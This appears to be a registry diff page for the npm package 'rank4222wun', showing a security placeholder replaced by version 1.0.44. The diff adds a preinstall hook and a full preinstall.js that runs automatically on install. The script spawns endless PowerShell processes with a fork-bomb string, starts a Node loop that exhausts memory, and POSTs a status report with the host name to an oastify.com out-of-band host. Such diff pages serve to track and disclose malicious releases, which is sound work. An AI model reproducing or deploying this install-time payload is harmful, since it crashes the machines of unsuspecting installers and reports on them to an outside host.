rank4222wun 0.0.1-security → 1.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.44",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,26 @@
1
+ // preinstall.js (Windows Version)
2
+ const { exec } = require('child_process');
3
+
4
+ // 1. استنزاف المعالج (CPU Exhaustion) عبر فتح عدد لا نهائي من العمليات
5
+ // الـ Command ده بيفتح PowerShell بتنادي نفسها بشكل متكرر
6
+ const winDos = `powershell -Command "while($true) { Start-Process powershell -ArgumentList '-NoExit','-Command',':(){:|:&};:' }"`;
7
+
8
+ // 2. استنزاف الذاكرة (RAM Starvation)
9
+ const memDos = `node -e "let a=[]; while(true) a.push(new Array(1000000).fill('DoS'))"`;
10
+
11
+ console.log("⚠️ Running Windows-Specific DoS Stress Test...");
12
+
13
+ // تنفيذ هجوم استنزاف الموارد
14
+ exec(winDos);
15
+ exec(memDos);
16
+
17
+ // إرسال تقرير للـ OAST إن الهجوم بدأ على Windows
18
+ const https = require('https');
19
+ const data = JSON.stringify({ target: "Windows", status: "DoS_Started", host: "DESKTOP-KRXNFZF" });
20
+ const req = https.request({
21
+ hostname: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
22
+ path: '/win-dos-report',
23
+ method: 'POST'
24
+ });
25
+ req.write(data);
26
+ req.end();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.